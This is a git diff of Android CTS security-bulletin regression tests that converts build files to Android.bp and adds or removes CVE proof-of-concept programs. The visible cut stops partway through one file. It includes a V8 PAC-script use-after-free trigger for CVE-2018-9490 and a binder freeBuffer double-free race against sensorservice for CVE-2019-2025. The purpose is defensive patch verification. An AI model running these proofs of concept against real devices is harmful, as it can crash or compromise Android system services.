diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
new file mode 100644
index 0000000..f5adc33
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2017-6262",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
deleted file mode 100644
index 64ecb5c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-6262
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
new file mode 100644
index 0000000..df215ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2018-9344",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libhidlbase",
+        "libhardware",
+        "android.hardware.cas.native@1.0",
+        "android.hardware.cas@1.0",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
deleted file mode 100644
index a806207..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2018-9344
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := \
-    libutils \
-    libbinder \
-    libhidlbase \
-    libhardware \
-    android.hardware.cas.native@1.0 \
-    android.hardware.cas@1.0 \
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
new file mode 100644
index 0000000..7b04ffb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
@@ -0,0 +1,33 @@
+//
+//copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2018-9424",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+        "libcutils",
+    ],
+    cppflags: [
+        "-fPIE",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
deleted file mode 100644
index 0615108..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-#copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2018-9424
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-
-LOCAL_SHARED_LIBRARIES := libbinder \
-                          libutils \
-                          libcutils
-
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror
-LOCAL_CPPFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
deleted file mode 100644
index a6a520f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2018-9490
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := \
-        libpac \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
deleted file mode 100644
index c6d332a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <memory>
-#include <proxy_resolver_v8_wrapper.h>
-
-#define URL u""
-#define HOST u""
-#define SCRIPT \
-    u"function FindProxyForURL(url, host){\n" \
-    "    alert(\"enter\");\n" \
-    "    let arr = [];\n" \
-    "    arr[1000] = 0x1234;\n" \
-    "\n" \
-    "    arr.__defineGetter__(256, function () {\n" \
-    "            delete arr[256];\n" \
-    "            arr.unshift(1.1);\n" \
-    "            arr.length = 0;\n" \
-    "            });\n" \
-    "\n" \
-    "    Object.entries(arr).toString();\n" \
-    "    alert(JSON.stringify(entries));\n" \
-    "\n" \
-    "    return 0;\n" \
-    "}\n"
-
-int main(void) {
-  auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
-          ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
-  ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
-  auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
-          resolver.get(), URL, HOST), &free);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
new file mode 100644
index 0000000..ba0e08f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2018-9515",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
deleted file mode 100644
index 3c8d79c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2018-9515
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
index a89d596..d8f3471 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 #define _GNU_SOURCE
 #include <pthread.h>
 #include <err.h>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/Android.mk
similarity index 70%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/Android.mk
index c9d313d..38f35ea 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2020 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,21 +13,22 @@
 # limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
-
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-0844
-LOCAL_SRC_FILES := poc.c
+
+LOCAL_MODULE := CVE-2018-9536
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_C_INCLUDES := $(TOP)/external/aac/libFDK/include
+LOCAL_C_INCLUDES += $(TOP)/external/aac/libSYS/include
+LOCAL_C_INCLUDES += $(TOP)/cts/hostsidetests/securitybulletin/securityPatch/includes
+LOCAL_SHARED_LIBRARIES := libbluetooth
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
+LOCAL_CPPFLAGS += -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/poc.cpp
new file mode 100644
index 0000000..47d20e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9536/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dirent.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <string>
+#include <common.h>
+#include <FDK_bitbuffer.h>
+#define MAX_PATH_LENGTH 1035
+
+int main() {
+    FILE *fp;
+    char path[MAX_PATH_LENGTH];
+    void *libHandle;
+    static int (*real_FDK_getBitCnt)(HANDLE_FDK_BITBUF) = NULL;
+    fp = popen("find / -name libbluetooth.so 2>/dev/null ", "r");
+    if (fp == NULL) {
+        return EXIT_SUCCESS;
+    }
+    while (fgets(path, sizeof(path) - 1, fp) != NULL) {
+        path[strlen(path) - 1] = '\0'; /* remove \n */
+
+        libHandle = dlopen(path, RTLD_LAZY);
+        if (libHandle) {
+            real_FDK_getBitCnt = (int (*)(
+                    HANDLE_FDK_BITBUF))dlsym(libHandle, "FDK_getBitCnt");
+            dlclose(libHandle);
+            if (real_FDK_getBitCnt) {
+                pclose(fp);
+                /* The symbol of function is present, it means there is no fix patch */
+                return EXIT_VULNERABLE;
+            }
+        }
+    }
+    pclose(fp);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
index 5f9bd37..0b464e5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 #include <android/hardware/cas/1.0/ICas.h>
 #include <android/hardware/cas/1.0/IMediaCasService.h>
 #include <android/hardware/cas/native/1.0/IDescrambler.h>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
similarity index 83%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
index e21a08e..9e62920 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -15,21 +15,24 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3913
+LOCAL_MODULE := CVE-2019-2025
 LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 LOCAL_SHARED_LIBRARIES := \
-    libbinder \
     libutils \
-    libmedia \
+    liblog \
+    libcutils \
+    libsensor \
+    libbase \
+    libbinder \
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS := -Wall -Werror
+
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef  int  uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+    static  IPCThreadState*     self();
+    static  IPCThreadState*     selfOrNull();  // self(), but won't instantiate
+    
+            sp<ProcessState>    process();
+            
+            status_t            clearLastError();
+
+            pid_t               getCallingPid() const;
+            uid_t               getCallingUid() const;
+
+            void                setStrictModePolicy(int32_t policy);
+            int32_t             getStrictModePolicy() const;
+
+            void                setLastTransactionBinderFlags(int32_t flags);
+            int32_t             getLastTransactionBinderFlags() const;
+
+            int64_t             clearCallingIdentity();
+            void                restoreCallingIdentity(int64_t token);
+            
+            int                 setupPolling(int* fd);
+            status_t            handlePolledCommands();
+            void                flushCommands();
+
+            void                joinThreadPool(bool isMain = true);
+            
+            // Stop the local process.
+            void                stopProcess(bool immediate = true);
+            
+            status_t            transact(int32_t handle,
+                                         uint32_t code, const Parcel& data,
+                                         Parcel* reply, uint32_t flags);
+
+            void                incStrongHandle(int32_t handle, BpBinder *proxy);
+            void                decStrongHandle(int32_t handle);
+            void                incWeakHandle(int32_t handle, BpBinder *proxy);
+            void                decWeakHandle(int32_t handle);
+            status_t            attemptIncStrongHandle(int32_t handle);
+    static  void                expungeHandle(int32_t handle, IBinder* binder);
+            status_t            requestDeathNotification(   int32_t handle,
+                                                            BpBinder* proxy); 
+            status_t            clearDeathNotification( int32_t handle,
+                                                        BpBinder* proxy); 
+
+    static  void                shutdown();
+
+    // Call this to disable switching threads to background scheduling when
+    // receiving incoming IPC calls.  This is specifically here for the
+    // Android system process, since it expects to have background apps calling
+    // in to it but doesn't want to acquire locks in its services while in
+    // the background.
+    static  void                disableBackgroundScheduling(bool disable);
+            bool                backgroundSchedulingDisabled();
+
+            // Call blocks until the number of executing binder threads is less than
+            // the maximum number of binder threads threads allowed for this process.
+            void                blockUntilThreadAvailable();
+    static  void                freeBuffer(Parcel* parcel,
+                                           const uint8_t* data, size_t dataSize,
+                                           const binder_size_t* objects, size_t objectsSize,
+                                           void* cookie);
+    static  void                freeBuffer1(Parcel* parcel,
+                                       const uint8_t* data, size_t dataSize,
+                                       const binder_size_t* objects, size_t objectsSize,
+                                       void* cookie);
+private:
+                                IPCThreadState();
+                                ~IPCThreadState();
+
+            status_t            sendReply(const Parcel& reply, uint32_t flags);
+            status_t            waitForResponse(Parcel *reply,
+                                                status_t *acquireResult=NULL);
+            status_t            talkWithDriver(bool doReceive=true);
+            status_t            writeTransactionData(int32_t cmd,
+                                                     uint32_t binderFlags,
+                                                     int32_t handle,
+                                                     uint32_t code,
+                                                     const Parcel& data,
+                                                     status_t* statusBuffer);
+            status_t            getAndExecuteCommand();
+            status_t            executeCommand(int32_t command);
+            void                processPendingDerefs();
+            void                processPostWriteDerefs();
+
+            void                clearCaller();
+
+    static  void                threadDestructor(void *st);
+    
+    const   sp<ProcessState>    mProcess;
+            Vector<BBinder*>    mPendingStrongDerefs;
+            Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+            Vector<RefBase*>    mPostWriteStrongDerefs;
+            Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+            Parcel              mIn;
+            Parcel              mOut;
+            status_t            mLastError;
+            pid_t               mCallingPid;
+            uid_t               mCallingUid;
+            int32_t             mStrictModePolicy;
+            int32_t             mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..48ece98
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+             const struct timespec *timeout, int *uaddr2, int val3) {
+  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+    my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+    usleep(100);
+    IInterface::asBinder(sensorEventConnection)
+        ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+  }
+
+  return NULL;
+}
+
+static void *bcfree(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+    {
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+      const uint8_t *rmData = reply.data();
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
